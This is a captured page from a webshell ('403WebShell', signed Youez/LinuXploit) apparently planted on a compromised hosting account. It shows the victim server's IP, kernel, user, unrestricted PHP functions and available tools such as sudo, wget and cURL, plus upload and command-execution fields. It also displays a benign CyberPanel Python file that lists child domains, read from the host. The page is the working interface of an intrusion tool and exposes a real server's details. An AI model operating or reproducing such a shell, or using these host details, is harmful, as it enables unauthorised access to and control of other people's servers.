Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/plogical/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/plogical//childDomain.py
#!/usr/local/CyberCP/bin/python
import os
import os.path
import sys
import django
sys.path.append('/usr/local/CyberCP')
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CyberCP.settings")
django.setup()
from websiteFunctions.models import Websites
import json


class ChildDomainManager:
    def __init__(self, masterDomain = None, childDomain = None):
        self.masterDomain = masterDomain
        self.childDomain = childDomain

    def findChildDomainsJson(self, alias=0):
        master = Websites.objects.get(domain=self.masterDomain)
        childDomains = master.childdomains_set.filter(alais=alias)

        json_data = "["
        checker = 0

        for items in childDomains:
            if items.domain == f'mail.{master.domain}':
                pass
            else:
                dic = {
                    'childDomain': items.domain,
                    'path': items.path,
                    'childLunch': '/websites/' + self.masterDomain + '/' + items.domain
                }

                if checker == 0:
                    json_data = json_data + json.dumps(dic)
                    checker = 1
                else:
                    json_data = json_data + ',' + json.dumps(dic)

        json_data = json_data + ']'

        return json_data

Youez - 2016 - github.com/yon3zu
LinuXploit